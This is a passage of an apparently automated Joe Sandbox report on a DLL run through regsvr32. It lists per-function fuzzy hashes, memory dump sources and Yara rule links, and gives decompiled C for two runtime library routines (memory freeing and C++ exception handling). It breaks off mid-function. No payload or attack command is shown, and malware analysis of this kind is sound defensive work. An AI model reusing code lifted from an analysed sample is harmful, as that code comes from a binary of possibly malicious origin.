Opcode ID: 158674631b10177f6d53f0a891ce7d5cd911354f99cde0af68645bcfc9b198f0
Instruction ID: 830b488c383a8c2687cc528254679ecb9b4d117d3beae91cd3e6ada1f4cb46e7
Opcode Fuzzy Hash: 158674631b10177f6d53f0a891ce7d5cd911354f99cde0af68645bcfc9b198f0
Instruction Fuzzy Hash: 47519FB5A093168FDB15CF98D680BAEBBF2FB48311F14C56AC415EB240D3B49982CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE2F53 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45a6b859197829a0ac0461468fffc7a20557e7e399d2f18c9111cb25234ca6e
Instruction ID: fbbe7ae1cb5cfc2358d2f2df0e29e78f420f84e76ede823231eea80db393c172
Opcode Fuzzy Hash: b45a6b859197829a0ac0461468fffc7a20557e7e399d2f18c9111cb25234ca6e
Instruction Fuzzy Hash: 1141C1B5809219AEDB20DF68CC88AEABBB8AF45344F1442DDE55CE3210DB319EC4DF10

Uniqueness

Uniqueness Score: -1.00%

Function 6DADE2BD Relevance: 1.5, Strings: 1, Instructions: 237COMMON

Download Yara Rule

Strings

0, xrefs: 6DADE44D

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b65ba6c547683b2f8654cc6717d225792d71238c231a7fa91fde7c1f4adc7f5b
Instruction ID: 7735913067e6fd41a5fcb1c74cea461349bb1bfab3e9d33de83a87b1db73e50e
Opcode Fuzzy Hash: b65ba6c547683b2f8654cc6717d225792d71238c231a7fa91fde7c1f4adc7f5b
Instruction Fuzzy Hash: CF61BDB874C30696DBD48A688590BBEF3A5FF46708F48441EE5D2DB280D76ADBC1C711

Uniqueness

Uniqueness Score: -1.00%

Function 6DA95580 Relevance: .7, Instructions: 726COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 606274d2b8789b25316fd00b47f79284709387104267cbd27bf26f56d912b26f
Instruction ID: ebdb88abaeafa5583102105aae8284dae2d49fb4253927a79dce7b05a461b207
Opcode Fuzzy Hash: 606274d2b8789b25316fd00b47f79284709387104267cbd27bf26f56d912b26f
Instruction Fuzzy Hash: C5929D78E092698FDB64CF58C990BEDBBB1BF49304F1481DAD859AB351D730AA81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9ECD0 Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: __aullrem
String ID:
API String ID: 3758378126-0
Opcode ID: 3da10439df823de2c93d66cf4a1a97f37b3c8ad689d50ddb5c10f3d6cd5c835f
Instruction ID: cba2583d58ebf78f174234586987146bbbac39d548a69ac90d2e482f1fb33b09
Opcode Fuzzy Hash: 3da10439df823de2c93d66cf4a1a97f37b3c8ad689d50ddb5c10f3d6cd5c835f
Instruction Fuzzy Hash: E532A178E05269CFCB24CF98C990BEDBBB1BF89304F148199D859AB355D730AA81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6DAD89F0 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bde9218551011212d3b508541a9a784e37a5183c78d77ec7eb8094a5f4ff808
Instruction ID: 3dd2ec001d8356fe22ba9001c0119aa62739f27d8663ffd71c41bfae8fc9be33
Opcode Fuzzy Hash: 6bde9218551011212d3b508541a9a784e37a5183c78d77ec7eb8094a5f4ff808
Instruction Fuzzy Hash: 3D91A2B8E05259DFCB44CFA9C490AADFBB1FF88304F248199D819AB355D734A982CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9DF70 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ce2ecb61f320e0a282adcceb5aadcc618f0158b5ecdbd4ba8ee3dda18e5ed05
Instruction ID: 6e08e31f542d1e61d7c4039908aa29136218592c091c571b9c759a2241713e1f
Opcode Fuzzy Hash: 6ce2ecb61f320e0a282adcceb5aadcc618f0158b5ecdbd4ba8ee3dda18e5ed05
Instruction Fuzzy Hash: DB718E78E092499FCB08CF98D590AEDFBF1BF48300F24815AD855AB345D734AA85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6DAA0BEE Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa9cc3db3d22e5828045ae2f33e001fad46fb6b4606783a1a79f1918fb0f8d7b
Instruction ID: 683c63d9a15a92c10c9f9dfe4cb51ef6538dd7d38aa7ef30121a3847373d9fd2
Opcode Fuzzy Hash: fa9cc3db3d22e5828045ae2f33e001fad46fb6b4606783a1a79f1918fb0f8d7b
Instruction Fuzzy Hash: 9B6181B8E052298FCB64CF58C990AEDBBB1BF49304F1481D9D649A7345DB30AE91CF58

Uniqueness

Uniqueness Score: -1.00%

Function 6DAD85F0 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1083b562e57d6fcdb7a0cef3685f2573a546d89591e8eba71522b663db6eeb62
Instruction ID: 354a683780a7f0d642bdff8a385ae73657e4c2ee50b8ea140ca47e5cce16f09b
Opcode Fuzzy Hash: 1083b562e57d6fcdb7a0cef3685f2573a546d89591e8eba71522b663db6eeb62
Instruction Fuzzy Hash: 2451ABB4D00209EFCB48CF99D6919AEFBB1FB49310F20D5AAD851AB350D630AB41DF90

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE91DC Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb728d8ae063073c811ad25f8d2c45a5f4b98e9e1060fba0592474212eab58a1
Instruction ID: f8ff4346a9035489447a26c14f858fddd45a60f778f638cb721e8ad202fe136c
Opcode Fuzzy Hash: bb728d8ae063073c811ad25f8d2c45a5f4b98e9e1060fba0592474212eab58a1
Instruction Fuzzy Hash: 1321B373F205394B7B0CC47ECC522BDB6E1C78C541745823AE8A6EA2C1D968D917E2E4

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE90BC Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e832b2b46753e47a6a2f691837a5cef8aa047a88ad22a8eebac896c6d553cc2
Instruction ID: d6537dc2cb7d26b1aa8dfffd26ddc8cdf9cdd4a55adc25d2a9f2b4f4347c4ac0
Opcode Fuzzy Hash: 5e832b2b46753e47a6a2f691837a5cef8aa047a88ad22a8eebac896c6d553cc2
Instruction Fuzzy Hash: 9811CA33F30D256B675C81AD8C172AE91D2EBDC24030F433AD826E72C4E994DE13D290

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE2B7D Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfd12b1a0d0b8e6caa066fc1ab38d0f6471a767ef731ffd7961338eb6f2b47a8
Instruction ID: 38c85a6437d55dcaa570b226ee261bc9db5bf75e55c7029199f29c45cc9382a8
Opcode Fuzzy Hash: bfd12b1a0d0b8e6caa066fc1ab38d0f6471a767ef731ffd7961338eb6f2b47a8
Instruction Fuzzy Hash: 88E08CB2919238EBCB21CFC8CA00D9AF3ECFB45B84B1141A6B601D3100C270DE40EBC0

Uniqueness

Uniqueness Score: -1.00%

Function 6DAA1160 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b0d8a4e177a3fa34641ad4046624ba9fb0ebdcef63e2a9b0089d13ea34cf4d4
Instruction ID: 0230c4de2727f5ca7c94c7bd14938b1f1fc6463ea35c1893f292ab52552c7abd
Opcode Fuzzy Hash: 5b0d8a4e177a3fa34641ad4046624ba9fb0ebdcef63e2a9b0089d13ea34cf4d4
Instruction Fuzzy Hash: 8CB011322A2B88CBC202CA8CE080E80B3ECE308E20F0000A0E80883B22C228FC00C880

Uniqueness

Uniqueness Score: -1.00%

Function 6DAE48B2 Relevance: 19.6, APIs: 13, Instructions: 113
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DAE48B2(intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t25;
				intOrPtr* _t26;
				intOrPtr _t28;
				intOrPtr* _t29;
				intOrPtr* _t31;
				intOrPtr* _t45;
				intOrPtr* _t46;
				intOrPtr* _t47;
				intOrPtr* _t55;
				intOrPtr* _t70;
				intOrPtr _t74;

				_t74 = _a4;
				_t25 =  *((intOrPtr*)(_t74 + 0x88));
				if(_t25 != 0 && _t25 != 0x6daf4710) {
					_t45 =  *((intOrPtr*)(_t74 + 0x7c));
					if(_t45 != 0 &&  *_t45 == 0) {
						_t46 =  *((intOrPtr*)(_t74 + 0x84));
						if(_t46 != 0 &&  *_t46 == 0) {
							E6DAE10BE(_t46);
							E6DAE7864( *((intOrPtr*)(_t74 + 0x88)));
						}
						_t47 =  *((intOrPtr*)(_t74 + 0x80));
						if(_t47 != 0 &&  *_t47 == 0) {
							E6DAE10BE(_t47);
							E6DAE7962( *((intOrPtr*)(_t74 + 0x88)));
						}
						E6DAE10BE( *((intOrPtr*)(_t74 + 0x7c)));
						E6DAE10BE( *((intOrPtr*)(_t74 + 0x88)));
					}
				}
				_t26 =  *((intOrPtr*)(_t74 + 0x8c));
				if(_t26 != 0 &&  *_t26 == 0) {
					E6DAE10BE( *((intOrPtr*)(_t74 + 0x90)) - 0xfe);
					E6DAE10BE( *((intOrPtr*)(_t74 + 0x94)) - 0x80);
					E6DAE10BE( *((intOrPtr*)(_t74 + 0x98)) - 0x80);
					E6DAE10BE( *((intOrPtr*)(_t74 + 0x8c)));
				}
				E6DAE4A23( *((intOrPtr*)(_t74 + 0x9c)));
				_t28 = 6;
				_t16 = _t74 + 0xa0; // 0xa4
				_t55 = _t16;
				_v8 = _t28;
				_t18 = _t74 + 0x28; // 0x2c
				_t70 = _t18;
				do {
					if( *((intOrPtr*)(_t70 - 8)) != 0x6daf41d8) {
						_t31 =  *_t70;
						if(_t31 != 0 &&  *_t31 == 0) {
							E6DAE10BE(_t31);
							E6DAE10BE( *_t55);
						}
						_t28 = _v8;
					}
					if( *((intOrPtr*)(_t70 - 0xc)) != 0) {
						_t29 =  *((intOrPtr*)(_t70 - 4));
						if(_t29 != 0 &&  *_t29 == 0) {
							E6DAE10BE(_t29);
						}
						_t28 = _v8;
					}
					_t55 = _t55 + 4;
					_t70 = _t70 + 0x10;
					_t28 = _t28 - 1;
					_v8 = _t28;
				} while (_t28 != 0);
				return E6DAE10BE(_t74);
			}

0x6dae48ba
0x6dae48be
0x6dae48c6
0x6dae48cf
0x6dae48d4
0x6dae48db
0x6dae48e3
0x6dae48eb
0x6dae48f6
0x6dae48fc
0x6dae48fd
0x6dae4905
0x6dae490d
0x6dae4918
0x6dae491e
0x6dae4922
0x6dae492d
0x6dae4933
0x6dae48d4
0x6dae4934
0x6dae493c
0x6dae494f
0x6dae4962
0x6dae4970
0x6dae497b
0x6dae4980
0x6dae4989
0x6dae4991
0x6dae4992
0x6dae4992
0x6dae4998
0x6dae499b
0x6dae499b
0x6dae499e
0x6dae49a5
0x6dae49a7
0x6dae49ab
0x6dae49b3
0x6dae49ba
0x6dae49c0
0x6dae49c1
0x6dae49c1
0x6dae49c8
0x6dae49ca
0x6dae49cf
0x6dae49d7
0x6dae49dc
0x6dae49dd
0x6dae49dd
0x6dae49e0
0x6dae49e3
0x6dae49e6
0x6dae49e9
0x6dae49e9
0x6dae49f9

APIs

___free_lconv_mon.LIBCMT ref: 6DAE48F6

Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE7881
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE7893
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE78A5
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE78B7
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE78C9
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE78DB
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE78ED
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE78FF
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE7911
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE7923
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE7935
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE7947
Part of subcall function 6DAE7864: _free.LIBCMT ref: 6DAE7959

_free.LIBCMT ref: 6DAE48EB

Part of subcall function 6DAE10BE: HeapFree.KERNEL32(00000000,00000000,?,6DAE79F5,00000004,00000000,00000004,?,?,6DAE7A1C,00000004,00000007,00000004,?,6DAE4A49,00000004), ref: 6DAE10D4
Part of subcall function 6DAE10BE: GetLastError.KERNEL32(00000004,?,6DAE79F5,00000004,00000000,00000004,?,?,6DAE7A1C,00000004,00000007,00000004,?,6DAE4A49,00000004,00000004), ref: 6DAE10E6

_free.LIBCMT ref: 6DAE490D
_free.LIBCMT ref: 6DAE4922
_free.LIBCMT ref: 6DAE492D
_free.LIBCMT ref: 6DAE494F
_free.LIBCMT ref: 6DAE4962
_free.LIBCMT ref: 6DAE4970
_free.LIBCMT ref: 6DAE497B
_free.LIBCMT ref: 6DAE49B3
_free.LIBCMT ref: 6DAE49BA
_free.LIBCMT ref: 6DAE49D7
_free.LIBCMT ref: 6DAE49EF

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 86add75473acf7f4ebc33313f1398ba4b00ebce8102df750cc2dec5be77b3298
Instruction ID: ef52dba51ffcbfac99d3de7d9297438f65321aff165b15a424416b29c19f8e13
Opcode Fuzzy Hash: 86add75473acf7f4ebc33313f1398ba4b00ebce8102df750cc2dec5be77b3298
Instruction Fuzzy Hash: 07319F3160C3469FEB209B39DA40F6A73EDAF04394F154529E565E7294DFB1E8C0EB11

Uniqueness

Uniqueness Score: -1.00%

Function 6DADC34B Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E6DADC34B(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6DADD32D(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6DAE0332(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6DADC006(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6DADC006(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6DADB3A2(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6DADB2D5(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6DADC2CB(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6DAE0332(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
